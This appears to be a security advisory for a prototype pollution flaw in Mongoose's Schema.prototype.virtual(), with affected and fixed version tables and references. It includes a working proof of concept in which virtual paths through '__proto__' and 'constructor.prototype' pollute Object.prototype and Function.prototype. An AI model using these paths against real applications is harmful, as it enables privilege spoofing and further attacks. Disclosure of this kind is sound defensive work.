CVE-2026-125118
Mongoose: Prototype pollution via Schema.prototype.virtual()
Description
Summary
Prototype pollution via Schema.prototype.virtual() — the 2022 fix for CVE-2022-2564 / CVE-2022-24304 protected Schema.path()/add() but never virtual(), so the same class of bug is still exploitable in all maintained release lines.
Details
In lib/schema.js, Schema.prototype.virtual() (defined at line 2643) builds the virtual path via:
virtuals[name] = parts.reduce(function(mem, part, i) {
mem[part] || (mem[part] = (i === parts.length - 1)
? new VirtualType(options, name)
: {});
return mem[part];
}, this.tree); // lines 2755-2759
Unlike path()/add(), virtual() never received the specialProperties check added for CVE-2022-2564/CVE-2022-24304 (lib/schema.js lines 806, 1308, 1331).
A path containing __proto__/constructor/prototype segments resolves through the prototype chain and writes onto Object.prototype / Function.prototype.
Proof of concept
const mongoose = require('mongoose');
const schema = new mongoose.Schema({});
schema.virtual('__proto__.polluted');
console.log(({}).polluted); // VirtualType instance
console.log(Object.prototype.hasOwnProperty('polluted')); // true
console.log(Object.getOwnPropertyDescriptor(
Object.prototype, 'polluted').enumerable); // true
schema.virtual('constructor.prototype.opol');
console.log(({}).opol); // true
schema.virtual('hasOwnProperty.__proto__.fpol');
console.log((function(){}).fpol); // Function.prototype polluted
Impact
Attacker-influenced schema field names (dynamic schemas, CMS form builders, schema-as-code) allow pollution of Object.prototype (own, enumerable keys visible on every object — e.g. ({}).isAdmin checks can be spoofed) and Function.prototype (a known gadget primitive in server-side JS).
Affected Maven artifacts (1)
| Artifact | Affected versions | Fixed in |
|---|---|---|
| org.webjars.npm » mongoosevia npm mongoose | < 6.13.12>= 7.0.0, < 7.8.13>= 8.0.0, < 8.24.7>= 9.0.0, < 9.11.4 | 6.13.12, 7.8.13, 8.24.7, 9.11.4 |
Blast radius
100% of the dependent artifacts (1) still pull an affected version in their latest release.
| Depth | Dependent versions |
|---|---|
| Direct | 1 |
Most used dependents
- org.webjars.npm » angoose0 usages
Computed from the dependency graph of build 20261124.0621 (compile and runtime scopes, nearest version wins). Exclusions and dependency management in consuming projects are not applied, so dependents are potentially affected. When several artifacts are affected, a dependent version that pulls more than one of them is counted once per artifact.
Other ecosystems
Also affects npm (1 package) . See all on OSV
References
- Webhttps://github.com/Automattic/mongoose/security/advisories/GHSA-6972-9mcm-vhwj
- Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-125118
- Webhttps://github.com/Automattic/mongoose/commit/318f7e09dd363a1dfddb8180878488dccd2796d1
- Webhttps://github.com/Automattic/mongoose/commit/74df7769b5a8d89c4413b764029911ee915ea467
- Webhttps://github.com/Automattic/mongoose/commit/7a2a6567abbb72c0430c8cc5b7942141844fecff
- Webhttps://github.com/Automattic/mongoose/commit/fb467e6d33174293dc0360649f20ce68d99117a9
- Packagehttps://github.com/Automattic/mongoose
- Webhttps://github.com/Automattic/mongoose/releases/tag/6.13.12
- Webhttps://github.com/Automattic/mongoose/releases/tag/7.8.13
- Webhttps://github.com/Automattic/mongoose/releases/tag/8.24.7
- Webhttps://github.com/Automattic/mongoose/releases/tag/9.11.4
